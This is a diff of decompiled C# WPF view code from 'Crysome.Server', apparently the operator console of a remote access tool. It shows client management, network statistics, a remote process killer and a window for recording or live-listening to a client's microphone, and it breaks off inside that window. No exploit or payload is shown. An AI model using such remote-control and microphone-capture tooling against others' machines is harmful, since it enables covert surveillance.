//IL_0084: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_008e: Expected O, but got Unknown
|
||||
//IL_00a8: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00b2: Expected O, but got Unknown
|
||||
//IL_00cc: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00d6: Expected O, but got Unknown
|
||||
//IL_0115: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_011f: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 2:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
StartBtn = (Button)target;
|
||||
((ButtonBase)(object)StartBtn).Click += StartBtn_Click;
|
||||
break;
|
||||
case 4:
|
||||
StopBtn = (Button)target;
|
||||
((ButtonBase)(object)StopBtn).Click += StopBtn_Click;
|
||||
break;
|
||||
case 5:
|
||||
ClearBtn = (Button)target;
|
||||
((ButtonBase)(object)ClearBtn).Click += ClearBtn_Click;
|
||||
break;
|
||||
case 6:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 7:
|
||||
((TabControl)target).SelectionChanged += TabControl_SelectionChanged;
|
||||
break;
|
||||
case 8:
|
||||
LogBox = (TextBox)target;
|
||||
break;
|
||||
case 9:
|
||||
RequestOfflineBtn = (Button)target;
|
||||
((ButtonBase)(object)RequestOfflineBtn).Click += RequestOfflineBtn_Click;
|
||||
break;
|
||||
case 10:
|
||||
OfflineLogBox = (TextBox)target;
|
||||
break;
|
||||
case 11:
|
||||
StatusText = (TextBlock)target;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,165 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Media;
|
||||
using Microsoft.Win32;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class LanguageWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
private static readonly string SavedLangPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "language.dat");
|
||||
|
||||
internal TitleBar TitleBarControl;
|
||||
|
||||
internal TextBlock SelectLabel;
|
||||
|
||||
internal ComboBox LanguageComboBox;
|
||||
|
||||
internal Button ContinueButton;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public string SelectedCultureTag { get; private set; } = "en";
|
||||
|
||||
public LanguageWindow()
|
||||
{
|
||||
InitializeComponent();
|
||||
ApplyBackdrop();
|
||||
PreSelectSavedLanguage();
|
||||
}
|
||||
|
||||
private void PreSelectSavedLanguage()
|
||||
{
|
||||
string text = LoadSavedLanguage();
|
||||
foreach (ComboBoxItem item in (IEnumerable)LanguageComboBox.Items)
|
||||
{
|
||||
if (item.Tag as string == text)
|
||||
{
|
||||
LanguageComboBox.SelectedItem = item;
|
||||
return;
|
||||
}
|
||||
}
|
||||
LanguageComboBox.SelectedIndex = 0;
|
||||
}
|
||||
|
||||
private static string LoadSavedLanguage()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (File.Exists(SavedLangPath))
|
||||
{
|
||||
string text = File.ReadAllText(SavedLangPath)?.Trim();
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
return text;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return "en";
|
||||
}
|
||||
|
||||
private void SaveLanguage(string tag)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.WriteAllText(SavedLangPath, tag);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void ContinueButton_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if (LanguageComboBox.SelectedItem is ComboBoxItem { Tag: string tag })
|
||||
{
|
||||
SelectedCultureTag = tag;
|
||||
SaveLanguage(tag);
|
||||
}
|
||||
((Window)this).DialogResult = true;
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void ApplyBackdrop()
|
||||
{
|
||||
if (IsWindows11OrNewer())
|
||||
{
|
||||
((FluentWindow)this).ExtendsContentIntoTitleBar = true;
|
||||
((FluentWindow)this).WindowBackdropType = (WindowBackdropType)2;
|
||||
}
|
||||
else
|
||||
{
|
||||
((Control)this).Background = new SolidColorBrush(Color.FromRgb(32, 32, 32));
|
||||
}
|
||||
}
|
||||
|
||||
private static bool IsWindows11OrNewer()
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion");
|
||||
if (registryKey?.GetValue("CurrentBuild") is string s && int.TryParse(s, out var result))
|
||||
{
|
||||
return result >= 22000;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/languagewindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_001c: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0026: Expected O, but got Unknown
|
||||
//IL_0043: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_004d: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
TitleBarControl = (TitleBar)target;
|
||||
break;
|
||||
case 2:
|
||||
SelectLabel = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
LanguageComboBox = (ComboBox)target;
|
||||
break;
|
||||
case 4:
|
||||
ContinueButton = (Button)target;
|
||||
((ButtonBase)(object)ContinueButton).Click += ContinueButton_Click;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,334 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Media;
|
||||
using System.Windows.Shapes;
|
||||
using System.Windows.Threading;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.ViewModel;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class ManageClients : UserControl, IComponentConnector
|
||||
{
|
||||
private readonly DispatcherTimer _animTimer = new DispatcherTimer
|
||||
{
|
||||
Interval = TimeSpan.FromMilliseconds(16L, 0L)
|
||||
};
|
||||
|
||||
private readonly DispatcherTimer _statsTimer = new DispatcherTimer
|
||||
{
|
||||
Interval = TimeSpan.FromMilliseconds(800L, 0L)
|
||||
};
|
||||
|
||||
private readonly double[] _dotX = new double[5] { 0.0, 30.0, 60.0, 90.0, 120.0 };
|
||||
|
||||
private readonly double[] _dotSpeed = new double[5] { 2.8, 2.1, 3.3, 1.9, 2.5 };
|
||||
|
||||
private const double CanvasWidth = 170.0;
|
||||
|
||||
private readonly TranslateTransform[] _dotTx;
|
||||
|
||||
internal ManageClients TheControl;
|
||||
|
||||
internal Canvas PacketCanvas;
|
||||
|
||||
internal Ellipse Dot0;
|
||||
|
||||
internal TranslateTransform DotTx0;
|
||||
|
||||
internal Ellipse Dot1;
|
||||
|
||||
internal TranslateTransform DotTx1;
|
||||
|
||||
internal Ellipse Dot2;
|
||||
|
||||
internal TranslateTransform DotTx2;
|
||||
|
||||
internal Ellipse Dot3;
|
||||
|
||||
internal TranslateTransform DotTx3;
|
||||
|
||||
internal Ellipse Dot4;
|
||||
|
||||
internal TranslateTransform DotTx4;
|
||||
|
||||
internal Border ThroughputBar;
|
||||
|
||||
internal TextBlock ThroughputText;
|
||||
|
||||
internal Border QualityBar;
|
||||
|
||||
internal TextBlock QualityBarText;
|
||||
|
||||
internal TextBlock RttText;
|
||||
|
||||
internal TextBlock LossText;
|
||||
|
||||
internal TextBlock TxText;
|
||||
|
||||
internal TextBlock RxText;
|
||||
|
||||
internal TextBlock ClientsCountText;
|
||||
|
||||
internal TextBlock AdaptiveLevelText;
|
||||
|
||||
internal DataGrid ClientsGrid;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public ManageClients()
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0006: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_001b: Expected O, but got Unknown
|
||||
//IL_001c: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0021: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0039: Expected O, but got Unknown
|
||||
InitializeComponent();
|
||||
_dotTx = new TranslateTransform[5] { DotTx0, DotTx1, DotTx2, DotTx3, DotTx4 };
|
||||
_animTimer.Tick += AnimTimer_Tick;
|
||||
_statsTimer.Tick += StatsTimer_Tick;
|
||||
_animTimer.Start();
|
||||
_statsTimer.Start();
|
||||
base.Unloaded += delegate
|
||||
{
|
||||
_animTimer.Stop();
|
||||
_statsTimer.Stop();
|
||||
};
|
||||
}
|
||||
|
||||
private void AnimTimer_Tick(object sender, EventArgs e)
|
||||
{
|
||||
for (int i = 0; i < _dotTx.Length; i++)
|
||||
{
|
||||
_dotX[i] += _dotSpeed[i];
|
||||
if (_dotX[i] > 180.0)
|
||||
{
|
||||
_dotX[i] = -10.0;
|
||||
}
|
||||
_dotTx[i].X = _dotX[i];
|
||||
}
|
||||
}
|
||||
|
||||
private void StatsTimer_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (!(base.DataContext is ManageClientsViewModel manageClientsViewModel))
|
||||
{
|
||||
return;
|
||||
}
|
||||
List<CrysomeClient> clientSnapshot = manageClientsViewModel.GetClientSnapshot();
|
||||
ClientsCountText.Text = clientSnapshot.Count.ToString();
|
||||
if (clientSnapshot.Count == 0)
|
||||
{
|
||||
RttText.Text = "— ms";
|
||||
LossText.Text = "0.0 %";
|
||||
TxText.Text = "0 B";
|
||||
RxText.Text = "0 B";
|
||||
ThroughputBar.Width = 0.0;
|
||||
ThroughputText.Text = "0 KB/s";
|
||||
QualityBar.Width = 170.0;
|
||||
QualityBarText.Text = "Idle";
|
||||
AdaptiveLevelText.Text = " · —";
|
||||
return;
|
||||
}
|
||||
double num = 0.0;
|
||||
double num2 = 0.0;
|
||||
long num3 = 0L;
|
||||
long num4 = 0L;
|
||||
foreach (CrysomeClient item in clientSnapshot)
|
||||
{
|
||||
num += item.RttMs;
|
||||
num2 += item.LossRate;
|
||||
num3 += item.BytesSent;
|
||||
num4 += item.BytesRecv;
|
||||
}
|
||||
double num5 = num / (double)clientSnapshot.Count;
|
||||
double num6 = num2 / (double)clientSnapshot.Count * 100.0;
|
||||
RttText.Text = $"{num5:F0} ms";
|
||||
LossText.Text = $"{num6:F1} %";
|
||||
TxText.Text = FormatBytes(num3);
|
||||
RxText.Text = FormatBytes(num4);
|
||||
double num7 = (double)(num3 + num4) / 1024.0 / 0.8;
|
||||
double val = Math.Min(170.0, num7 / 500.0 * 170.0);
|
||||
ThroughputBar.Width = Math.Max(0.0, val);
|
||||
ThroughputText.Text = $"{num7:F0} KB/s";
|
||||
double num8 = Math.Min(1.0, num6 / 100.0 * 0.6 + num5 / 2000.0 * 0.4);
|
||||
double width = Math.Max(10.0, (1.0 - num8) * 170.0);
|
||||
QualityBar.Width = width;
|
||||
if (num8 < 0.1)
|
||||
{
|
||||
QualityBar.Background = new SolidColorBrush(Color.FromRgb(129, 199, 132));
|
||||
QualityBarText.Text = "Excellent";
|
||||
AdaptiveLevelText.Text = " · HD";
|
||||
}
|
||||
else if (num8 < 0.3)
|
||||
{
|
||||
QualityBar.Background = new SolidColorBrush(Color.FromRgb(79, 195, 247));
|
||||
QualityBarText.Text = "Good";
|
||||
AdaptiveLevelText.Text = " · Good";
|
||||
}
|
||||
else if (num8 < 0.6)
|
||||
{
|
||||
QualityBar.Background = new SolidColorBrush(Color.FromRgb(byte.MaxValue, 183, 77));
|
||||
QualityBarText.Text = "Fair";
|
||||
AdaptiveLevelText.Text = " · Fair";
|
||||
}
|
||||
else
|
||||
{
|
||||
QualityBar.Background = new SolidColorBrush(Color.FromRgb(239, 83, 80));
|
||||
QualityBarText.Text = "Poor";
|
||||
AdaptiveLevelText.Text = " · Low";
|
||||
}
|
||||
LossText.Foreground = ((num6 < 1.0) ? new SolidColorBrush(Color.FromRgb(129, 199, 132)) : ((num6 < 5.0) ? new SolidColorBrush(Color.FromRgb(byte.MaxValue, 183, 77)) : new SolidColorBrush(Color.FromRgb(239, 83, 80))));
|
||||
double num9 = 1.0 + Math.Min(2.0, num7 / 100.0);
|
||||
for (int i = 0; i < _dotSpeed.Length; i++)
|
||||
{
|
||||
_dotSpeed[i] = (1.5 + (double)i * 0.4) * num9;
|
||||
}
|
||||
}
|
||||
|
||||
private static string FormatBytes(long b)
|
||||
{
|
||||
if (b < 1024)
|
||||
{
|
||||
return b + " B";
|
||||
}
|
||||
if (b < 1048576)
|
||||
{
|
||||
return ((double)b / 1024.0).ToString("F1") + " KB";
|
||||
}
|
||||
return ((double)b / 1024.0 / 1024.0).ToString("F1") + " MB";
|
||||
}
|
||||
|
||||
private void ClientsGrid_SelectionChanged(object sender, SelectionChangedEventArgs e)
|
||||
{
|
||||
if (base.DataContext is ManageClientsViewModel manageClientsViewModel && sender is DataGrid dataGrid)
|
||||
{
|
||||
List<ClientInfo> items = dataGrid.SelectedItems.Cast<ClientInfo>().ToList();
|
||||
manageClientsViewModel.SyncSelectedClients(items);
|
||||
}
|
||||
}
|
||||
|
||||
private void ClientsGrid_PreviewKeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0008: Invalid comparison between Unknown and I4
|
||||
//IL_000a: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0010: Invalid comparison between Unknown and I4
|
||||
if ((int)e.Key == 44 && (int)Keyboard.Modifiers == 2 && sender is DataGrid dataGrid)
|
||||
{
|
||||
dataGrid.SelectAll();
|
||||
e.Handled = true;
|
||||
}
|
||||
}
|
||||
|
||||
private void ClientsGrid_LostFocus(object sender, RoutedEventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/manageclients.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
TheControl = (ManageClients)target;
|
||||
break;
|
||||
case 2:
|
||||
PacketCanvas = (Canvas)target;
|
||||
break;
|
||||
case 3:
|
||||
Dot0 = (Ellipse)target;
|
||||
break;
|
||||
case 4:
|
||||
DotTx0 = (TranslateTransform)target;
|
||||
break;
|
||||
case 5:
|
||||
Dot1 = (Ellipse)target;
|
||||
break;
|
||||
case 6:
|
||||
DotTx1 = (TranslateTransform)target;
|
||||
break;
|
||||
case 7:
|
||||
Dot2 = (Ellipse)target;
|
||||
break;
|
||||
case 8:
|
||||
DotTx2 = (TranslateTransform)target;
|
||||
break;
|
||||
case 9:
|
||||
Dot3 = (Ellipse)target;
|
||||
break;
|
||||
case 10:
|
||||
DotTx3 = (TranslateTransform)target;
|
||||
break;
|
||||
case 11:
|
||||
Dot4 = (Ellipse)target;
|
||||
break;
|
||||
case 12:
|
||||
DotTx4 = (TranslateTransform)target;
|
||||
break;
|
||||
case 13:
|
||||
ThroughputBar = (Border)target;
|
||||
break;
|
||||
case 14:
|
||||
ThroughputText = (TextBlock)target;
|
||||
break;
|
||||
case 15:
|
||||
QualityBar = (Border)target;
|
||||
break;
|
||||
case 16:
|
||||
QualityBarText = (TextBlock)target;
|
||||
break;
|
||||
case 17:
|
||||
RttText = (TextBlock)target;
|
||||
break;
|
||||
case 18:
|
||||
LossText = (TextBlock)target;
|
||||
break;
|
||||
case 19:
|
||||
TxText = (TextBlock)target;
|
||||
break;
|
||||
case 20:
|
||||
RxText = (TextBlock)target;
|
||||
break;
|
||||
case 21:
|
||||
ClientsCountText = (TextBlock)target;
|
||||
break;
|
||||
case 22:
|
||||
AdaptiveLevelText = (TextBlock)target;
|
||||
break;
|
||||
case 23:
|
||||
ClientsGrid = (DataGrid)target;
|
||||
ClientsGrid.SelectionChanged += ClientsGrid_SelectionChanged;
|
||||
ClientsGrid.PreviewKeyDown += ClientsGrid_PreviewKeyDown;
|
||||
ClientsGrid.LostFocus += ClientsGrid_LostFocus;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Markup;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class PluginManagerTab : UserControl, IComponentConnector
|
||||
{
|
||||
private bool _contentLoaded;
|
||||
|
||||
public PluginManagerTab()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/pluginmanagertab.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using System.Windows.Media;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class ProcessItemViewModel
|
||||
{
|
||||
public string Name { get; set; }
|
||||
|
||||
public int Pid { get; set; }
|
||||
|
||||
public ImageSource Icon { get; set; }
|
||||
}
|
||||
@@ -0,0 +1,232 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.Collections.ObjectModel;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Data;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Media;
|
||||
using System.Windows.Media.Imaging;
|
||||
using System.Windows.Threading;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.ViewModel;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class ProcessManagerWindow : FluentWindow, IComponentConnector, IStyleConnector
|
||||
{
|
||||
private readonly ClientInfo _client;
|
||||
|
||||
private readonly ManageClientsViewModel _vm;
|
||||
|
||||
private readonly ObservableCollection<ProcessItemViewModel> _processes = new ObservableCollection<ProcessItemViewModel>();
|
||||
|
||||
private readonly ICollectionView _processView;
|
||||
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal Button RefreshBtn;
|
||||
|
||||
internal Button CloseBtn;
|
||||
|
||||
internal TextBox SearchBox;
|
||||
|
||||
internal ListView ProcessList;
|
||||
|
||||
internal TextBlock StatusText;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public ProcessManagerWindow(ClientInfo client, ManageClientsViewModel vm)
|
||||
{
|
||||
InitializeComponent();
|
||||
_client = client;
|
||||
_vm = vm;
|
||||
((Window)this).Title = "Process Manager — " + (client?.Address ?? "?");
|
||||
TitleText.Text = ((Window)this).Title;
|
||||
_processView = CollectionViewSource.GetDefaultView(_processes);
|
||||
ProcessList.ItemsSource = (IEnumerable)_processView;
|
||||
((FrameworkElement)this).Loaded += delegate
|
||||
{
|
||||
Refresh();
|
||||
};
|
||||
}
|
||||
|
||||
private void Refresh()
|
||||
{
|
||||
_processes.Clear();
|
||||
StatusText.Text = "Loading...";
|
||||
_vm.RequestProcessList(_client, delegate(GetProcessListResponsePacket packet)
|
||||
{
|
||||
if (((packet != null) ? packet.Processes : null) != null)
|
||||
{
|
||||
foreach (ProcessListEntry process in packet.Processes)
|
||||
{
|
||||
ImageSource icon = LoadIcon(process.IconData);
|
||||
_processes.Add(new ProcessItemViewModel
|
||||
{
|
||||
Name = process.Name,
|
||||
Pid = process.Pid,
|
||||
Icon = icon
|
||||
});
|
||||
}
|
||||
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
|
||||
{
|
||||
ApplySearchFilter();
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void SearchBox_TextChanged(object sender, TextChangedEventArgs e)
|
||||
{
|
||||
ApplySearchFilter();
|
||||
}
|
||||
|
||||
private void ApplySearchFilter()
|
||||
{
|
||||
string q = (SearchBox?.Text ?? "").Trim().ToLowerInvariant();
|
||||
_processView.Filter = (string.IsNullOrEmpty(q) ? null : ((Predicate<object>)((object o) => o is ProcessItemViewModel processItemViewModel && ((processItemViewModel.Name ?? "").ToLowerInvariant().Contains(q) || processItemViewModel.Pid.ToString().Contains(q)))));
|
||||
int num = (string.IsNullOrEmpty(q) ? _processes.Count : ((IEnumerable)_processView).Cast<object>().Count());
|
||||
StatusText.Text = (string.IsNullOrEmpty(q) ? (_processes.Count + " processes") : (num + " of " + _processes.Count + " processes"));
|
||||
}
|
||||
|
||||
private static ImageSource LoadIcon(byte[] data)
|
||||
{
|
||||
if (data == null || data.Length == 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
try
|
||||
{
|
||||
BitmapImage bitmapImage = new BitmapImage();
|
||||
bitmapImage.BeginInit();
|
||||
bitmapImage.StreamSource = new MemoryStream(data);
|
||||
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
|
||||
bitmapImage.EndInit();
|
||||
((Freezable)bitmapImage).Freeze();
|
||||
return bitmapImage;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private void RefreshBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
Refresh();
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void KillBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if ((sender as FrameworkElement)?.DataContext is ProcessItemViewModel processItemViewModel)
|
||||
{
|
||||
_vm.KillProcessOnClient(_client, processItemViewModel.Pid);
|
||||
_processes.Remove(processItemViewModel);
|
||||
StatusText.Text = "Kill sent for PID " + processItemViewModel.Pid;
|
||||
}
|
||||
}
|
||||
|
||||
private void ProcessList_MouseDoubleClick(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
if (ProcessList.SelectedItem is ProcessItemViewModel processItemViewModel)
|
||||
{
|
||||
_vm.KillProcessOnClient(_client, processItemViewModel.Pid);
|
||||
_processes.Remove(processItemViewModel);
|
||||
StatusText.Text = "Kill sent for PID " + processItemViewModel.Pid;
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/processmanagerwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_0054: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_005e: Expected O, but got Unknown
|
||||
//IL_0078: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0082: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 2:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
RefreshBtn = (Button)target;
|
||||
((ButtonBase)(object)RefreshBtn).Click += RefreshBtn_Click;
|
||||
break;
|
||||
case 4:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 5:
|
||||
SearchBox = (TextBox)target;
|
||||
SearchBox.TextChanged += SearchBox_TextChanged;
|
||||
break;
|
||||
case 6:
|
||||
ProcessList = (ListView)target;
|
||||
ProcessList.MouseDoubleClick += ProcessList_MouseDoubleClick;
|
||||
break;
|
||||
case 8:
|
||||
StatusText = (TextBlock)target;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IStyleConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_0005: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_001b: Expected O, but got Unknown
|
||||
if (connectionId == 7)
|
||||
{
|
||||
((ButtonBase)(Button)target).Click += KillBtn_Click;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,266 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Media;
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.ViewModel;
|
||||
using NAudio.Wave;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class RemoteAudioWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
private readonly ClientInfo _client;
|
||||
|
||||
private readonly ManageClientsViewModel _vm;
|
||||
|
||||
private MediaPlayer _player;
|
||||
|
||||
private string[] _devices = new string[0];
|
||||
|
||||
private BufferedWaveProvider _bufferedProvider;
|
||||
|
||||
private WaveOutEvent _waveOut;
|
||||
|
||||
private bool _listening;
|
||||
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal Button CloseBtn;
|
||||
|
||||
internal ComboBox MicCombo;
|
||||
|
||||
internal Button RecordBtn;
|
||||
|
||||
internal Button ListenBtn;
|
||||
|
||||
internal Button StopListenBtn;
|
||||
|
||||
internal TextBlock StatusText;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public RemoteAudioWindow(ClientInfo client, ManageClientsViewModel vm)
|
||||
{
|
||||
InitializeComponent();
|
||||
_client = client;
|
||||
_vm = vm;
|
||||
((Window)this).Title = "Remote Audio/Mic — " + (client?.Address ?? "?");
|
||||
TitleText.Text = ((Window)this).Title;
|
||||
StatusText.Text = "Select mic, then Record (5 sec) or Listen Live.";
|
||||
((FrameworkElement)this).Loaded += delegate
|
||||
{
|
||||
_vm.Log("RemoteAudio Loaded, calling LoadMics", "MIC");
|
||||
LoadMics();
|
||||
};
|
||||
((Window)this).Closed += delegate
|
||||
{
|
||||
_player?.Close();
|
||||
StopListening();
|
||||
};
|
||||
}
|
||||
|
||||
private void LoadMics()
|
||||
{
|
||||
_vm.GetAudioDevices(_client, delegate(string[] devs)
|
||||
{
|
||||
